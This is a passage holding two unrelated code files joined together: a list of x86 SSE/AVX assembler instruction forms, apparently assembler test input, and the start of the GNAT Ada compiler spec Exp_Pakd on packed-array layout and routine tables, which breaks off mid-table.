vpsubb xmm1, xmm2, dqword [rax]
psubw xmm1, xmm2
psubw xmm1, [rax]
psubw xmm1, dqword [rax]
vpsubw xmm1, xmm2
vpsubw xmm1, [rax]
vpsubw xmm1, dqword [rax]
vpsubw xmm1, xmm2, xmm3
vpsubw xmm1, xmm2, [rax]
vpsubw xmm1, xmm2, dqword [rax]
psubd xmm1, xmm2
psubd xmm1, [rax]
psubd xmm1, dqword [rax]
vpsubd xmm1, xmm2
vpsubd xmm1, [rax]
vpsubd xmm1, dqword [rax]
vpsubd xmm1, xmm2, xmm3
vpsubd xmm1, xmm2, [rax]
vpsubd xmm1, xmm2, dqword [rax]
psubq xmm1, xmm2
psubq xmm1, [rax]
psubq xmm1, dqword [rax]
vpsubq xmm1, xmm2
vpsubq xmm1, [rax]
vpsubq xmm1, dqword [rax]
vpsubq xmm1, xmm2, xmm3
vpsubq xmm1, xmm2, [rax]
vpsubq xmm1, xmm2, dqword [rax]
psubsb xmm1, xmm2
psubsb xmm1, [rax]
psubsb xmm1, dqword [rax]
vpsubsb xmm1, xmm2
vpsubsb xmm1, [rax]
vpsubsb xmm1, dqword [rax]
vpsubsb xmm1, xmm2, xmm3
vpsubsb xmm1, xmm2, [rax]
vpsubsb xmm1, xmm2, dqword [rax]
psubsw xmm1, xmm2
psubsw xmm1, [rax]
psubsw xmm1, dqword [rax]
vpsubsw xmm1, xmm2
vpsubsw xmm1, [rax]
vpsubsw xmm1, dqword [rax]
vpsubsw xmm1, xmm2, xmm3
vpsubsw xmm1, xmm2, [rax]
vpsubsw xmm1, xmm2, dqword [rax]
psubusb xmm1, xmm2
psubusb xmm1, [rax]
psubusb xmm1, dqword [rax]
vpsubusb xmm1, xmm2
vpsubusb xmm1, [rax]
vpsubusb xmm1, dqword [rax]
vpsubusb xmm1, xmm2, xmm3
vpsubusb xmm1, xmm2, [rax]
vpsubusb xmm1, xmm2, dqword [rax]
psubusw xmm1, xmm2
psubusw xmm1, [rax]
psubusw xmm1, dqword [rax]
vpsubusw xmm1, xmm2
vpsubusw xmm1, [rax]
vpsubusw xmm1, dqword [rax]
vpsubusw xmm1, xmm2, xmm3
vpsubusw xmm1, xmm2, [rax]
vpsubusw xmm1, xmm2, dqword [rax]
punpckhbw xmm1, xmm2
punpckhbw xmm1, [rax]
punpckhbw xmm1, dqword [rax]
vpunpckhbw xmm1, xmm2
vpunpckhbw xmm1, [rax]
vpunpckhbw xmm1, dqword [rax]
vpunpckhbw xmm1, xmm2, xmm3
vpunpckhbw xmm1, xmm2, [rax]
vpunpckhbw xmm1, xmm2, dqword [rax]
punpckhwd xmm1, xmm2
punpckhwd xmm1, [rax]
punpckhwd xmm1, dqword [rax]
vpunpckhwd xmm1, xmm2
vpunpckhwd xmm1, [rax]
vpunpckhwd xmm1, dqword [rax]
vpunpckhwd xmm1, xmm2, xmm3
vpunpckhwd xmm1, xmm2, [rax]
vpunpckhwd xmm1, xmm2, dqword [rax]
punpckhdq xmm1, xmm2
punpckhdq xmm1, [rax]
punpckhdq xmm1, dqword [rax]
vpunpckhdq xmm1, xmm2
vpunpckhdq xmm1, [rax]
vpunpckhdq xmm1, dqword [rax]
vpunpckhdq xmm1, xmm2, xmm3
vpunpckhdq xmm1, xmm2, [rax]
vpunpckhdq xmm1, xmm2, dqword [rax]
punpckhqdq xmm1, xmm2
punpckhqdq xmm1, [rax]
punpckhqdq xmm1, dqword [rax]
vpunpckhqdq xmm1, xmm2
vpunpckhqdq xmm1, [rax]
vpunpckhqdq xmm1, dqword [rax]
vpunpckhqdq xmm1, xmm2, xmm3
vpunpckhqdq xmm1, xmm2, [rax]
vpunpckhqdq xmm1, xmm2, dqword [rax]
punpcklbw xmm1, xmm2
punpcklbw xmm1, [rax]
punpcklbw xmm1, dqword [rax]
vpunpcklbw xmm1, xmm2
vpunpcklbw xmm1, [rax]
vpunpcklbw xmm1, dqword [rax]
vpunpcklbw xmm1, xmm2, xmm3
vpunpcklbw xmm1, xmm2, [rax]
vpunpcklbw xmm1, xmm2, dqword [rax]
punpcklwd xmm1, xmm2
punpcklwd xmm1, [rax]
punpcklwd xmm1, dqword [rax]
vpunpcklwd xmm1, xmm2
vpunpcklwd xmm1, [rax]
vpunpcklwd xmm1, dqword [rax]
vpunpcklwd xmm1, xmm2, xmm3
vpunpcklwd xmm1, xmm2, [rax]
vpunpcklwd xmm1, xmm2, dqword [rax]
punpckldq xmm1, xmm2
punpckldq xmm1, [rax]
punpckldq xmm1, dqword [rax]
vpunpckldq xmm1, xmm2
vpunpckldq xmm1, [rax]
vpunpckldq xmm1, dqword [rax]
vpunpckldq xmm1, xmm2, xmm3
vpunpckldq xmm1, xmm2, [rax]
vpunpckldq xmm1, xmm2, dqword [rax]
punpcklqdq xmm1, xmm2
punpcklqdq xmm1, [rax]
punpcklqdq xmm1, dqword [rax]
vpunpcklqdq xmm1, xmm2
vpunpcklqdq xmm1, [rax]
vpunpcklqdq xmm1, dqword [rax]
vpunpcklqdq xmm1, xmm2, xmm3
vpunpcklqdq xmm1, xmm2, [rax]
vpunpcklqdq xmm1, xmm2, dqword [rax]
pxor xmm1, xmm2
pxor xmm1, [rax]
pxor xmm1, dqword [rax]
vpxor xmm1, xmm2
vpxor xmm1, [rax]
vpxor xmm1, dqword [rax]
vpxor xmm1, xmm2, xmm3
vpxor xmm1, xmm2, [rax]
vpxor xmm1, xmm2, dqword [rax]
rcpps xmm1, xmm2
rcpps xmm1, [rax]
rcpps xmm1, dqword [rax]
vrcpps xmm1, xmm2
vrcpps xmm1, [rax]
vrcpps xmm1, dqword [rax]
vrcpps ymm1, ymm2
vrcpps ymm1, [rax]
vrcpps ymm1, yword [rax]
rcpss xmm1, xmm2
rcpss xmm1, [rax]
rcpss xmm1, dword [rax]
vrcpss xmm1, xmm2
vrcpss xmm1, [rax]
vrcpss xmm1, dword [rax]
vrcpss xmm1, xmm2, xmm3
vrcpss xmm1, xmm2, [rax]
vrcpss xmm1, xmm2, dword [rax]
rsqrtps xmm1, xmm2
rsqrtps xmm1, [rax]
rsqrtps xmm1, dqword [rax]
vrsqrtps xmm1, xmm2
vrsqrtps xmm1, [rax]
vrsqrtps xmm1, dqword [rax]
vrsqrtps ymm1, ymm2
vrsqrtps ymm1, [rax]
vrsqrtps ymm1, yword [rax]
rsqrtss xmm1, xmm2
rsqrtss xmm1, [rax]
rsqrtss xmm1, dword [rax]
vrsqrtss xmm1, xmm2
vrsqrtss xmm1, [rax]
vrsqrtss xmm1, dword [rax]
vrsqrtss xmm1, xmm2, xmm3
vrsqrtss xmm1, xmm2, [rax]
vrsqrtss xmm1, xmm2, dword [rax]
roundpd xmm1, xmm2, 5
roundpd xmm1, [rax], byte 5
roundpd xmm1, dqword [rax], 5
vroundpd xmm1, xmm2, 5
vroundpd xmm1, [rax], byte 5
vroundpd xmm1, dqword [rax], 5
vroundpd ymm1, ymm2, 5
vroundpd ymm1, [rax], byte 5
vroundpd ymm1, yword [rax], 5
roundps xmm1, xmm2, 5
roundps xmm1, [rax], byte 5
roundps xmm1, dqword [rax], 5
vroundps xmm1, xmm2, 5
vroundps xmm1, [rax], byte 5
vroundps xmm1, dqword [rax], 5
vroundps ymm1, ymm2, 5
vroundps ymm1, [rax], byte 5
vroundps ymm1, yword [rax], 5
roundsd xmm1, xmm2, 5
roundsd xmm1, [rax], byte 5
roundsd xmm1, qword [rax], 5
vroundsd xmm1, xmm2, 5
vroundsd xmm1, [rax], byte 5
vroundsd xmm1, qword [rax], 5
vroundsd xmm1, xmm2, xmm3, 5
vroundsd xmm1, xmm2, [rax], byte 5
vroundsd xmm1, xmm2, qword [rax], 5
roundss xmm1, xmm2, 5
roundss xmm1, [rax], byte 5
roundss xmm1, dword [rax], 5
vroundss xmm1, xmm2, 5
vroundss xmm1, [rax], byte 5
vroundss xmm1, dword [rax], 5
vroundss xmm1, xmm2, xmm3, 5
vroundss xmm1, xmm2, [rax], byte 5
vroundss xmm1, xmm2, dword [rax], 5
shufpd xmm1, xmm2, 5
shufpd xmm1, [rax], byte 5
shufpd xmm1, dqword [rax], 5
vshufpd xmm1, xmm2, 5
vshufpd xmm1, [rax], byte 5
vshufpd xmm1, dqword [rax], 5
vshufpd xmm1, xmm2, xmm3, 5
vshufpd xmm1, xmm2, [rax], byte 5
vshufpd xmm1, xmm2, dqword [rax], 5
vshufpd ymm1, ymm2, ymm3, 5
vshufpd ymm1, ymm2, [rax], byte 5
vshufpd ymm1, ymm2, yword [rax], 5
shufps xmm1, xmm2, 5
shufps xmm1, [rax], byte 5
shufps xmm1, dqword [rax], 5
vshufps xmm1, xmm2, 5
vshufps xmm1, [rax], byte 5
vshufps xmm1, dqword [rax], 5
vshufps xmm1, xmm2, xmm3, 5
vshufps xmm1, xmm2, [rax], byte 5
vshufps xmm1, xmm2, dqword [rax], 5
vshufps ymm1, ymm2, ymm3, 5
vshufps ymm1, ymm2, [rax], byte 5
vshufps ymm1, ymm2, yword [rax], 5
sqrtpd xmm1, xmm2
sqrtpd xmm1, [rax]
sqrtpd xmm1, dqword [rax]
vsqrtpd xmm1, xmm2
vsqrtpd xmm1, [rax]
vsqrtpd xmm1, dqword [rax]
vsqrtpd ymm1, ymm2
vsqrtpd ymm1, [rax]
vsqrtpd ymm1, yword [rax]
sqrtps xmm1, xmm2
sqrtps xmm1, [rax]
sqrtps xmm1, dqword [rax]
vsqrtps xmm1, xmm2
vsqrtps xmm1, [rax]
vsqrtps xmm1, dqword [rax]
vsqrtps ymm1, ymm2
vsqrtps ymm1, [rax]
vsqrtps ymm1, yword [rax]
sqrtsd xmm1, xmm2
sqrtsd xmm1, [rax]
sqrtsd xmm1, qword [rax]
vsqrtsd xmm1, xmm2
vsqrtsd xmm1, [rax]
vsqrtsd xmm1, qword [rax]
vsqrtsd xmm1, xmm2, xmm3
vsqrtsd xmm1, xmm2, [rax]
vsqrtsd xmm1, xmm2, qword [rax]
sqrtss xmm1, xmm2
sqrtss xmm1, [rax]
sqrtss xmm1, dword [rax]
vsqrtss xmm1, xmm2
vsqrtss xmm1, [rax]
vsqrtss xmm1, dword [rax]
vsqrtss xmm1, xmm2, xmm3
vsqrtss xmm1, xmm2, [rax]
vsqrtss xmm1, xmm2, dword [rax]
stmxcsr [rax]
stmxcsr dword [rax]
vstmxcsr [rax]
vstmxcsr dword [rax]
subpd xmm1, xmm2
subpd xmm1, [rax]
subpd xmm1, dqword [rax]
vsubpd xmm1, xmm2
vsubpd xmm1, [rax]
vsubpd xmm1, dqword [rax]
vsubpd xmm1, xmm2, xmm3
vsubpd xmm1, xmm2, [rax]
vsubpd xmm1, xmm2, dqword [rax]
vsubpd ymm1, ymm2, ymm3
vsubpd ymm1, ymm2, [rax]
vsubpd ymm1, ymm2, yword [rax]
subps xmm1, xmm2
subps xmm1, [rax]
subps xmm1, dqword [rax]
vsubps xmm1, xmm2
vsubps xmm1, [rax]
vsubps xmm1, dqword [rax]
vsubps xmm1, xmm2, xmm3
vsubps xmm1, xmm2, [rax]
vsubps xmm1, xmm2, dqword [rax]
vsubps ymm1, ymm2, ymm3
vsubps ymm1, ymm2, [rax]
vsubps ymm1, ymm2, yword [rax]
subsd xmm1, xmm2
subsd xmm1, [rax]
subsd xmm1, qword [rax]
vsubsd xmm1, xmm2
vsubsd xmm1, [rax]
vsubsd xmm1, qword [rax]
vsubsd xmm1, xmm2, xmm3
vsubsd xmm1, xmm2, [rax]
vsubsd xmm1, xmm2, qword [rax]
subss xmm1, xmm2
subss xmm1, [rax]
subss xmm1, dword [rax]
vsubss xmm1, xmm2
vsubss xmm1, [rax]
vsubss xmm1, dword [rax]
vsubss xmm1, xmm2, xmm3
vsubss xmm1, xmm2, [rax]
vsubss xmm1, xmm2, dword [rax]
ucomisd xmm1, xmm2
ucomisd xmm1, [rax]
ucomisd xmm1, qword [rax]
vucomisd xmm1, xmm2
vucomisd xmm1, [rax]
vucomisd xmm1, qword [rax]
ucomiss xmm1, xmm2
ucomiss xmm1, [rax]
ucomiss xmm1, dword [rax]
vucomiss xmm1, xmm2
vucomiss xmm1, [rax]
vucomiss xmm1, dword [rax]
unpckhpd xmm1, xmm2
unpckhpd xmm1, [rax]
unpckhpd xmm1, dqword [rax]
vunpckhpd xmm1, xmm2
vunpckhpd xmm1, [rax]
vunpckhpd xmm1, dqword [rax]
vunpckhpd xmm1, xmm2, xmm3
vunpckhpd xmm1, xmm2, [rax]
vunpckhpd xmm1, xmm2, dqword [rax]
vunpckhpd ymm1, ymm2, ymm3
vunpckhpd ymm1, ymm2, [rax]
vunpckhpd ymm1, ymm2, yword [rax]
unpckhps xmm1, xmm2
unpckhps xmm1, [rax]
unpckhps xmm1, dqword [rax]
vunpckhps xmm1, xmm2
vunpckhps xmm1, [rax]
vunpckhps xmm1, dqword [rax]
vunpckhps xmm1, xmm2, xmm3
vunpckhps xmm1, xmm2, [rax]
vunpckhps xmm1, xmm2, dqword [rax]
vunpckhps ymm1, ymm2, ymm3
vunpckhps ymm1, ymm2, [rax]
vunpckhps ymm1, ymm2, yword [rax]
unpcklpd xmm1, xmm2
unpcklpd xmm1, [rax]
unpcklpd xmm1, dqword [rax]
vunpcklpd xmm1, xmm2
vunpcklpd xmm1, [rax]
vunpcklpd xmm1, dqword [rax]
vunpcklpd xmm1, xmm2, xmm3
vunpcklpd xmm1, xmm2, [rax]
vunpcklpd xmm1, xmm2, dqword [rax]
vunpcklpd ymm1, ymm2, ymm3
vunpcklpd ymm1, ymm2, [rax]
vunpcklpd ymm1, ymm2, yword [rax]
unpcklps xmm1, xmm2
unpcklps xmm1, [rax]
unpcklps xmm1, dqword [rax]
vunpcklps xmm1, xmm2
vunpcklps xmm1, [rax]
vunpcklps xmm1, dqword [rax]
vunpcklps xmm1, xmm2, xmm3
vunpcklps xmm1, xmm2, [rax]
vunpcklps xmm1, xmm2, dqword [rax]
vunpcklps ymm1, ymm2, ymm3
vunpcklps ymm1, ymm2, [rax]
vunpcklps ymm1, ymm2, yword [rax]
xorpd xmm1, xmm2
xorpd xmm1, [rax]
xorpd xmm1, dqword [rax]
vxorpd xmm1, xmm2
vxorpd xmm1, [rax]
vxorpd xmm1, dqword [rax]
vxorpd xmm1, xmm2, xmm3
vxorpd xmm1, xmm2, [rax]
vxorpd xmm1, xmm2, dqword [rax]
vxorpd ymm1, ymm2, ymm3
vxorpd ymm1, ymm2, [rax]
vxorpd ymm1, ymm2, yword [rax]
xorps xmm1, xmm2
xorps xmm1, [rax]
xorps xmm1, dqword [rax]
vxorps xmm1, xmm2
vxorps xmm1, [rax]
vxorps xmm1, dqword [rax]
vxorps xmm1, xmm2, xmm3
vxorps xmm1, xmm2, [rax]
vxorps xmm1, xmm2, dqword [rax]
vxorps ymm1, ymm2, ymm3
vxorps ymm1, ymm2, [rax]
vxorps ymm1, ymm2, yword [rax]
vzeroall
vzeroupper
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/exp_pakd.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 27681 | <reponame>djamal2727/Main-Bearing-Analytical-Model
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E X P _ P A K D --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2020, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Expand routines for manipulation of packed arrays
with Rtsfind; use Rtsfind;
with Types; use Types;
package Exp_Pakd is
-------------------------------------
-- Implementation of Packed Arrays --
-------------------------------------
-- When a packed array (sub)type is frozen, we create a corresponding
-- type that will be used to hold the bits of the packed value, and store
-- the entity for this type in the Packed_Array_Impl_Type field of the
-- E_Array_Type or E_Array_Subtype entity for the packed array.
-- This packed array type has the name xxxPn, where xxx is the name
-- of the packed type, and n is the component size. The expanded
-- declaration declares a type that is one of the following:
-- For an unconstrained array with component size 1,2,4 or any other
-- odd component size. These are the cases in which we do not need
-- to align the underlying array.
-- type xxxPn is new Packed_Bytes1;
-- For an unconstrained array with component size that is divisible
-- by 2, but not divisible by 4 (other than 2 itself). These are the
-- cases in which we can generate better code if the underlying array
-- is 2-byte aligned (see System.Pack_14 in file s-pack14 for example).
-- type xxxPn is new Packed_Bytes2;
-- For an unconstrained array with component size that is divisible
-- by 4, other than powers of 2 (which either come under the 1,2,4
-- exception above, or are not packed at all). These are cases where
-- we can generate better code if the underlying array is 4-byte
-- aligned (see System.Pack_20 in file s-pack20 for example).
-- type xxxPn is new Packed_Bytes4;
-- For a constrained array with a static index type where the number
-- of bits does not exceed the size of Unsigned:
-- type xxxPn is new Unsigned range 0 .. 2 ** nbits - 1;
-- For a constrained array with a static index type where the number
-- of bits is greater than the size of Unsigned, but does not exceed
-- the size of Long_Long_Unsigned:
-- type xxxPn is new Long_Long_Unsigned range 0 .. 2 ** nbits - 1;
-- For all other constrained arrays, we use one of
-- type xxxPn is new Packed_Bytes1 (0 .. m);
-- type xxxPn is new Packed_Bytes2 (0 .. m);
-- type xxxPn is new Packed_Bytes4 (0 .. m);
-- where m is calculated (from the length of the original packed array)
-- to hold the required number of bits, and the choice of the particular
-- Packed_Bytes{1,2,4} type is made on the basis of alignment needs as
-- described above for the unconstrained case.
-- When the packed array (sub)type is specified to have the reverse scalar
-- storage order, the Packed_Bytes{1,2,4} references above are replaced
-- with Rev_Packed_Bytes{1,2,4}. This is necessary because, although the
-- component type is Packed_Byte and therefore endian neutral, the scalar
-- storage order of the new type must be compatible with that of an outer
-- composite type, if this composite type contains a component whose type
-- is the packed array (sub)type and which does not start or does not end
-- on a storage unit boundary.
-- When a variable of packed array type is allocated, gigi will allocate
-- the amount of space indicated by the corresponding packed array type.
-- However, we do NOT attempt to rewrite the types of any references or
-- to retype the variable itself, since this would cause all kinds of
-- semantic problems in the front end (remember that expansion proceeds
-- at the same time as analysis).
-- For an indexed reference to a packed array, we simply convert the
-- reference to the appropriate equivalent reference to the object
-- of the packed array type (using unchecked conversion).
-- In some cases (for internally generated types, and for the subtypes
-- for record fields that depend on a discriminant), the corresponding
-- packed type cannot be easily generated in advance. In these cases,
-- we generate the required subtype on the fly at the reference point.
-- For the modular case, any unused bits are initialized to zero, and
-- all operations maintain these bits as zero (where necessary all
-- unchecked conversions from corresponding array values require
-- these bits to be clear, which is done automatically by gigi).
-- For the array cases, there can be unused bits in the last byte, and
-- these are neither initialized, nor treated specially in operations
-- (i.e. it is allowable for these bits to be clobbered, e.g. by not).
---------------------------
-- Endian Considerations --
---------------------------
-- The standard does not specify the way in which bits are numbered in
-- a packed array. There are two reasonable rules for deciding this:
-- Store the first bit at right end (low order) word. This means
-- that the scaled subscript can be used directly as a left shift
-- count (if we put bit 0 at the left end, then we need an extra
-- subtract to compute the shift count).
-- Layout the bits so that if the packed boolean array is overlaid on
-- a record, using unchecked conversion, then bit 0 of the array is
-- the same as the bit numbered bit 0 in a record representation
-- clause applying to the record. For example:
-- type Rec is record
-- C : Bits4;
-- D : Bits7;
-- E : Bits5;
-- end record;
-- for Rec use record
-- C at 0 range 0 .. 3;
-- D at 0 range 4 .. 10;
-- E at 0 range 11 .. 15;
-- end record;
-- type P16 is array (0 .. 15) of Boolean;
-- pragma Pack (P16);
-- Now if we use unchecked conversion to convert a value of the record
-- type to the packed array type, according to this second criterion,
-- we would expect field D to occupy bits 4..10 of the Boolean array.
-- Although not required, this correspondence seems a highly desirable
-- property, and is one that GNAT decides to guarantee. For a little
-- endian machine, we can also meet the first requirement, but for a
-- big endian machine, it will be necessary to store the first bit of
-- a Boolean array in the left end (most significant) bit of the word.
-- This may cost an extra instruction on some machines, but we consider
-- that a worthwhile price to pay for the consistency.
-- One more important point arises in the case where we have a constrained
-- subtype of an unconstrained array. Take the case of 20 bits. For the
-- unconstrained representation, we would use an array of bytes:
-- Little-endian case
-- 8-7-6-5-4-3-2-1 16-15-14-13-12-11-10-9 x-x-x-x-20-19-18-17
-- Big-endian case
-- 1-2-3-4-5-6-7-8 9-10-11-12-13-14-15-16 17-18-19-20-x-x-x-x
-- For the constrained case, we use a 20-bit modular value, but in
-- general this value may well be stored in 32 bits. Let's look at
-- what it looks like:
-- Little-endian case
-- x-x-x-x-x-x-x-x-x-x-x-x-20-19-18-17-...-10-9-8-7-6-5-4-3-2-1
-- which stored in memory looks like
-- 8-7-...-2-1 16-15-...-10-9 x-x-x-x-20-19-18-17 x-x-x-x-x-x-x
-- An important rule is that the constrained and unconstrained cases
-- must have the same bit representation in memory, since we will often
-- convert from one to the other (e.g. when calling a procedure whose
-- formal is unconstrained). As we see, that criterion is met for the
-- little-endian case above. Now let's look at the big-endian case:
-- Big-endian case
-- x-x-x-x-x-x-x-x-x-x-x-x-1-2-3-4-5-6-7-8-9-10-...-17-18-19-20
-- which stored in memory looks like
-- x-x-x-x-x-x-x-x x-x-x-x-1-2-3-4 5-6-...11-12 13-14-...-19-20
-- That won't do, the representation value in memory is NOT the same in
-- the constrained and unconstrained case. The solution is to store the
-- modular value left-justified:
-- 1-2-3-4-5-6-7-8-9-10-...-17-18-19-20-x-x-x-x-x-x-x-x-x-x-x
-- which stored in memory looks like
-- 1-2-...-7-8 9-10-...15-16 17-18-19-20-x-x-x-x x-x-x-x-x-x-x-x
-- and now, we do indeed have the same representation for the memory
-- version in the constrained and unconstrained cases.
----------------------------------------------
-- Entity Tables for Packed Access Routines --
----------------------------------------------
-- For the cases of component size = 3,5-7,9-15,17-31,33-63 we call library
-- routines. These tables provide the entity for the proper routine. They
-- are exposed in the spec to allow checking for the presence of the needed
-- routine when an array is subject to pragma Pack.
type E_Array is array (Int range 01 .. 63) of RE_Id;
-- Array of Bits_nn entities. Note that we do not use library routines
-- for the 8-bit and 16-bit cases, but we still fill in the table, using
-- entries from System.Unsigned, because we also use this table for
-- certain special unchecked conversions in the big-endian case.
Bits_Id : constant E_Array :=
(01 => RE_Bits_1,
02 => RE_Bits_2,
03 => RE_Bits_03,
04 => RE_Bits_4,
05 => RE_Bits_05,
06 => RE_Bits_06,
07 => RE_Bits_07,
08 => RE_Unsigned_8,
09 => RE_Bits_09,
10 => RE_Bits_10,
11 => RE_Bits_11,
12 => RE_Bits_12,
13 => RE_Bits_13,
14 => RE_Bits_14,
15 => RE_Bits_15,
16 => RE_Unsigned_16,
17 => RE_Bits_17,
18 => RE_Bits_18,
19 => RE_Bits_19,
20 => RE_Bits_20,
21 => RE_Bits_21,
22 => RE_Bits_22,
23 => RE_Bits_23,
24 => RE_Bits_24,
25 => RE_Bits_25,
26 => RE_Bits_26,
27 => RE_Bits_27,
28 => RE_Bits_28,
29 => RE_Bits_29,
30 => RE_Bits_30,
31 => RE_Bits_31,
32 => RE_Unsigned_32,
33 => RE_Bits_33,
34 => RE_Bits_34,
35 => RE_Bits_35,
36 => RE_Bits_36,
37 => RE_Bits_37,
38 => RE_Bits_38,
39 => RE_Bits_39,
40 => RE_Bits_40,
41 => RE_Bits_41,
42 => RE_Bits_42,
43 => RE_Bits_43,
44 => RE_Bits_44,
45 => RE_Bits_45,
46 => RE_Bits_46,
47 => RE_Bits_47,
48 => RE_Bits_48,
49 => RE_Bits_49,
50 => RE_Bits_50,
51 => RE_Bits_51,
52 => RE_Bits_52,
53 => RE_Bits_53,
54 => RE_Bits_54,
55 => RE_Bits_55,
56 => RE_Bits_56,
57 => RE_Bits_57,
58 => RE_Bits_58,
59 => RE_Bits_59,
60 => RE_Bits_60,
61 => RE_Bits_61,
62 => RE_Bits_62,
63 => RE_Bits_63);
-- Array of Get routine entities. These are used to obtain an element from
-- a packed array. The N'th entry is used to obtain elements from a packed
-- array whose component size is N. RE_Null is used as a null entry, for
-- the cases where a library routine is not used.
Get_Id : constant E_Array :=
(01 => RE_Null,
02 => RE_Null,
03 => RE_Get_03,
04 => RE_Null,
05 => RE_Get_05,
06 => RE_Get_06,
07 => RE_Get_07,
08 => RE_Null,
09 => RE_Get_09,
10 => RE_Get_10,
11 => RE_Get_11,
12 => RE_Get_12,
13 => RE_Get_13,
14 => RE_Get_14,
15 => RE_Get_15,
16 => RE_Null,
17 => RE_Get_17,
18 => RE_Get_18,
19 => RE_Get_19,
20 => RE_Get_20,
21 => RE_Get_21,
22 => RE_Get_22,
23 => RE_Get_23,
24 => RE_Get_24,
25 => RE_Get_25,
26 => RE_Get_26,
27 => RE_Get_27,
28 => RE_Get_28,
29 => RE_Get_29,
30 => RE_Get_30,
31 => RE_Get_31,
32 => RE_Null,
33 => RE_Get_33,
34 => RE_Get_34,
35 => RE_Get_35,
36 => RE_Get_36,
37 => RE_Get_37,
38 => RE_Get_38,
39 => RE_Get_39,
40 => RE_Get_40,
41 => RE_Get_41,
42 => RE_Get_42,
43 => RE_Get_43,
44 => RE_Get_44,
45 => RE_Get_45,
46 => RE_Get_46,
47 => RE_Get_47,
48 => RE_Get_48,
49 => RE_Get_49,
50 => RE_Get_50,
51 => RE_Get_51,
52 => RE_Get_52,
53 => RE_Get_53,
54 => RE_Get_54,
55 => RE_Get_55,
56 => RE_Get_56,
57 => RE_Get_57,
58 => RE_Get_58,
59 => RE_Get_59,
60 => RE_Get_60,
61 => RE_Get_61,
62 => RE_Get_62,
63 => RE_Get_63);
-- Array of Get routine entities to be used in the case where the packed
-- array is itself a component of a packed structure, and therefore may not
-- be fully aligned. This only affects the even sizes, since for the odd
-- sizes, we do not get any fixed alignment in any case.
GetU_Id : constant E_Array :=
(01 => RE_Null,
02 => RE_Null,
03 => RE_Get_03,
04 => RE_Null,
05 => RE_Get_05,
06 => RE_GetU_06,
07 => RE_Get_07,
08 => RE_Null,
09 => RE_Get_09,
10 => RE_GetU_10,
11 => RE_Get_11,
12 => RE_GetU_12,
13 => RE_Get_13,
14 => RE_GetU_14,
15 => RE_Get_15,
16 => RE_Null,
17 => RE_Get_17,
18 => RE_GetU_18,
19 => RE_Get_19,
20 => RE_GetU_20,
21 => RE_Get_21,
22 => RE_GetU_22,
23 => RE_Get_23,
24 => RE_GetU_24,
25 => RE_Get_25,
26 => RE_GetU_26,
27 => RE_Get_27,
28 => RE_GetU_28,
29 => RE_Get_29,
30 => RE_GetU_30,
31 => RE_Get_31,
32 => RE_Null,
33 => RE_Get_33,
34 => RE_GetU_34,
35 => RE_Get_35,
36 => RE_GetU_36,
37 => RE_Get_37,
38 => RE_GetU_38,
39 => RE_Get_39,
40 => RE_GetU_40,
41 => RE_Get_41,
42 => RE_GetU_42,
43 => RE_Get_43,
44 => RE_GetU_44,
45 => RE_Get_45,
46 => RE_GetU_46,
47 => RE_Get_47,
48 => RE_GetU_48,
49 => RE_Get_49,
50 => RE_GetU_50,
51 => RE_Get_51,
52 => RE_GetU_52,
53 => RE_Get_53,
54 => RE_GetU_54,
55 => RE_Get_55,
56 => RE_GetU_56,
57 => RE_Get_57,
58 => RE_GetU_58,
59 => RE_Get_59,
60 => RE_GetU_60,
61 => RE_Get_61,
62 => RE_GetU_62,
63 => RE_Get_63);
-- Array of Set routine entities. These are used to assign an element of a
-- packed array. The N'th entry is used to assign elements for a packed
-- array whose component size is N. RE_Null is used as a null entry, for
-- the cases where a library routine is not used.
Set_Id : constant E_Array :=
(01 => RE_Null,
02 => RE_Null,
03 => RE_Set_03,
04 => RE_Null,
05 => RE_Set_05,
06 => RE_Set_06,
07 => RE_Set_07,
08 => RE_Null,
09 => RE_Set_09,
10 => RE_Set_10,
11 => RE_Set_11,
12 => RE_Set_12,
13 => RE_Set_13,
14 => RE_Set_14,
15 => RE_Set_15,
16 => RE_Null,
17 => RE_Set_17,
18 => RE_Set_18,
19 => RE_Set_19,
20 => RE_Set_20,
21 => RE_Set_21,
22 => RE_Set_22,
23 => RE_Set_23,
24 => RE_Set_24,
25 => RE_Set_25,
26 => RE_Set_26,
27 => RE_Set_27,
28 => RE_Set_28,
29 => RE_Set_29,
30 => RE_Set_30,
31 => RE_Set_31,
32 => RE_Null,
33 => RE_Set_33,
34 => RE_Set_34,
35 => RE_Set_35,
36 => RE_Set_36,
37 => RE_Set_37,
38 => RE_Set_38,
39 => RE_Set_39,
40 => RE_Set_40,
41 => RE_Set_41,
42 => RE_Set_42,
43 => RE_Set_43,
44 => RE_Set_44,
45 => RE_Set_45,
46 => RE_Set_46,
47 => RE_Set_47,
48 => RE_Set_48,
49 => RE_Set_49,
50 => RE_Set_50,
51 => RE_Set_51,
52 => RE_Set_52,
53 => RE_Set_53,
54 => RE_Set_54,
55 => RE_Set_55,
56 => RE_Set_56,
57 => RE_Set_57,
58 => RE_Set_58,
59 => RE_Set_59,
60 => RE_Set_60,
61 => RE_Set_61,
62 => RE_Set_62,
63 => RE_Set_63);
-- Array of Set routine entities to be used in the case where the packed
-- array is itself a component of a packed structure, and therefore may not
-- be fully aligned. This only affects the even sizes, since for the odd
-- sizes, we do not get any fixed alignment in any case.
SetU_Id : constant E_Array :=
(01 => RE_Null,
02 => RE_Null,
03 => RE_Set_03,
04 => RE_Null,
05 => RE_Set_05,
06 => RE_SetU_06,
07 => RE_Set_07,
08 => RE_Null,
09 => RE_Set_09,
10 => RE_SetU_10,
11 => RE_Set_11,
12 => RE_SetU_12,
13 => RE_Set_13,
14 => RE_SetU_14,
15 => RE_Set_15,
16 => RE_Null,
17 => RE_Set_17,
